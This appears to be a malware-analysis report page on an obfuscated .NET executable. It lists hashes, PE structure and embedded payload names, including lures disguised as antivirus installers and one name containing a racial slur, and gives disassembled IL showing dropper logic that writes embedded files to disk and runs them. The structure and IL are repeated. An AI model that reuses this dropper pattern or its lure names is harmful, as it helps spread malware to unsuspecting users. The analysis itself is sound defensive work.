Suspicious
Suspect

637d140a25eb70e57398fae83ad494fc

PE Executable
MD5: 637d140a25eb70e57398fae83ad494fc
Size: 16.37 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 637d140a25eb70e57398fae83ad494fc
Sha1 60ac2902d8aedc6e08d1374795af281ef32002db
Sha256 fc53884a4452b6f808e280dc3fc3a051d0129be2aabf61ea816dacf6c3ea9e80
Sha384 3f1d2fee544a5099768303a40851b0a528f6f169f7cc150b706b9ea9908339172e5c8ec06abf1fe33c2470d987f7b6f6
Sha512 5b726c3aae75b997a78db1fb39ab1ba16a16d0315736faa165ce02e2dc10e4cd17555c5bf730db3b77f292257d85e0fb32f66abab3b66ccd0e7c56216c0031cf
SSDeep 393216:UbtXHjeRtW12z7RtWI2QzyW7H+BpzRdyRpczVI8IjzCjpKz:UxzevW12z7vWI2SehV6zn
TLSH ECF601070C227A74D3B16E3FAC81B506289025277AD122FD354ED4F5EC39E895AADE7C
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
637d140a25eb70e57398fae83ad494fc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
umrbwprjpaubld.Resources
Loli.bat
MpCmdRun.exe
avast_free_antivirus_setup_online.exe
niggascaughtstealin.exe
rce.exe
rrrrr.exe
uwu.exe
workyhopey.exe
Name Value
Module Name
tuptuo.exe
Full Name
tuptuo.exe
EntryPoint 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Scope Name
tuptuo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
tuptuo
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
31
Main Method 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::yUxpzCwD0oxlqqUeZtdiiRSOHo3joVnQWyRAKl1VLNP2Wt9wMCIYLOXj1NsXlQ7PPVDO6M0aRc()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::XXOe5xyJce4Td9TEr4YwsSyWCHWPOmyb2pUigG38wDwJElHnmaQ46WbGy1B9ykVWLTVhaCU2h6
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::acuHm7cuXxI6YzUxcmoXoTIKvub6ktaVux1LqIEZRuwHZRAdmuCHDiZAUWxmwuzZsGjKhYSl9X
call System.Object UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::HF2ibHCPukN5ry7zSr0plVHr3pRatW7eWrh5fk6CcwvbZhySuEvIeNrcitIts5iEoIyQyxxyE9(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
Module Name
tuptuo.exe
Full Name
tuptuo.exe
EntryPoint 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Scope Name
tuptuo.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
tuptuo
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
31
Main Method 
System.Void UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::IjwanaRnXQeG7ABNKTzDB3jS6uDqZppzpxzPMO8JWI()
Main IL Instruction Count
159
Main IL 
ldc.i4.1 <null>
stloc.s V_5
call System.Boolean UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::yUxpzCwD0oxlqqUeZtdiiRSOHo3joVnQWyRAKl1VLNP2Wt9wMCIYLOXj1NsXlQ7PPVDO6M0aRc()
brtrue.s IL_0013: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.2 <null>
stloc.s V_5
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ldc.i4.1 <null>
stloc.3 <null>
ldc.i4.5 <null>
stloc.s V_5
ldsfld System.Collections.Generic.List`1<System.String> UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::XXOe5xyJce4Td9TEr4YwsSyWCHWPOmyb2pUigG38wDwJElHnmaQ46WbGy1B9ykVWLTVhaCU2h6
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.2 <null>
br IL_0130: ldloca.s V_2
ldloca.s V_2
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.0 <null>
ldc.i4.6 <null>
stloc.s V_5
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::acuHm7cuXxI6YzUxcmoXoTIKvub6ktaVux1LqIEZRuwHZRAdmuCHDiZAUWxmwuzZsGjKhYSl9X
call System.Object UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::HF2ibHCPukN5ry7zSr0plVHr3pRatW7eWrh5fk6CcwvbZhySuEvIeNrcitIts5iEoIyQyxxyE9(System.String)
ldstr \
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object Microsoft.VisualBasic.CompilerServices.Operators::ConcatenateObject(System.Object,System.Object)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stloc.1 <null>
ldc.i4.7 <null>
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.2 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_00CB: ldc.i4.s 13
ldc.i4.8 <null>
stloc.s V_5
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brtrue.s IL_00C9: br.s IL_0123
ldc.i4.s 9
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 10
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
br.s IL_0123: ldc.i4.s 19
ldc.i4.s 13
stloc.s V_5
ldc.i4.s 14
stloc.s V_5
ldloc.1 <null>
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.0 <null>
ldelem.ref <null>
call System.Byte[] UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::RwZtd8sm70o8O7EpWfSqjS5NhtucUjm1Nw9JWqV5FP2NnaKKSDk21MrxzTxckluiyPaDj2cIom(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
ldc.i4.s 15
stloc.s V_5
ldloc.0 <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
ldsfld System.String UTpDWQVeZhhdlywv9NjZXd4UIB21OR2XMUJGtV5LDS::2U9J6u8USFwtmEcu9yDfCV4tynsja6VzxrGlYhMFmEWyzfeX0YQHVhwbxTWwoyBfMrMuFJKrRE
ldc.i4.m1 <null>
ldc.i4.0 <null>
call System.String[] Microsoft.VisualBasic.Strings::Split(System.String,System.String,System.Int32,Microsoft.VisualBasic.CompareMethod)
ldc.i4.1 <null>
ldelem.ref <null>
ldstr True
ldc.i4.0 <null>
call System.Int32 Microsoft.VisualBasic.CompilerServices.Operators::CompareString(System.String,System.String,System.Boolean)
ldc.i4.0 <null>
bne.un.s IL_0123: ldc.i4.s 19
ldc.i4.s 16
stloc.s V_5
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldc.i4.s 19
stloc.s V_5
call System.Void System.GC::Collect()
ldc.i4.s 20
stloc.s V_5
ldloca.s V_2
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue IL_002D: ldloca.s V_2
ldloca.s V_2
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
leave IL_01F8: ldloc.s V_4
ldloc.s V_4
br.s IL_0156: ldc.i4.0
ldloc.s V_4
ldc.i4.1 <null>
add <null>
ldc.i4.0 <null>
stloc.s V_4
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
ldloc.s V_5
stloc.s V_4
ldloc.3 <null>
switch dnlib.DotNet.Emit.Instruction[]
leave.s IL_01ED: ldc.i4 -2146828237
isinst System.Exception
ldnull <null>
cgt.un <null>
ldloc.3 <null>
ldc.i4.0 <null>
cgt.un <null>
and <null>
ldloc.s V_4
ldc.i4.0 <null>
ceq <null>
and <null>
endfilter <null>
castclass System.Exception
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
leave.s IL_01B8: ldloc.s V_5
ldc.i4 -2146828237
call System.Exception Microsoft.VisualBasic.CompilerServices.ProjectData::CreateProjectError(System.Int32)
throw <null>
ldloc.s V_4
brfalse.s IL_0201: ret
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
ret <null>
637d140a25eb70e57398fae83ad494fc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
umrbwprjpaubld.Resources
Loli.bat
MpCmdRun.exe
avast_free_antivirus_setup_online.exe
niggascaughtstealin.exe
rce.exe
rrrrr.exe
uwu.exe
workyhopey.exe
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙